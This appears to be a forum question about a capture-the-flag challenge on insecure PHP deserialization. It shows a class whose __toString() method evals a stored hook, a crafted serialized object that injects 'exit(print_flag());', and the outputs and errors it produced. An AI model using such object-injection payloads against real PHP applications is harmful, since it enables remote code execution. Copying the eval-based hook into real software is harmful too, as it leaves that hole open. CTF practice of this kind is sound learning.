I'm doing a CTF challenge that is about insecure deserialization in PHP. The goal is to print the flag by injection code into the deserialization to execute the print_flag()
function. I suspect that the webserver only prints the last line that the script echoes, which overrides the output of the flag, even when calling exit()
.
A part of the php-code running on the webserver is provided. I have implemented it in my own php-script to find out what works and what doesn't. I have succeeded in serializing an object that executes the code when deserialized. By calling exit(print_flag());
the flag is printed, without any further errors... At least in my script. When I send the serialized object to the webserver, it still prints further errors.
Additionally, I have tried returning a string from my injected code. That doesn't work either.
function print_flag() {
print file_get_contents('/var/flag/flag.txt');
}
class Example2
{
private $hook;
function __construct() {
$this->hook = "exit(print_flag());";
}
function __toString()
{
if (isset($this->hook)) eval($this->hook);
}
}
$flag = new Example2();
$serialized = serialize($flag);
print "$serialized
";
$deserialized = unserialize($serialized);
The code is similar to the one shown in the challenge, but modified so it works for me.
I would expect the code to only return the flag. When executing the script on my own machine, the output is:
O:8:"Example2":1:{s:14:" Example2 hook";s:19:"exit(print_flag());";} thisistheflag
When I call it without exit()
:
PHP Recoverable fatal error: Method Example2::__toString() must return a string value in ../phpObjInj.php on line 39"
The webserver returns:
Catchable fatal error: Method Example2::__toString() must return a string value in /var/www/index.php on line 79
How do I stop the error from printing?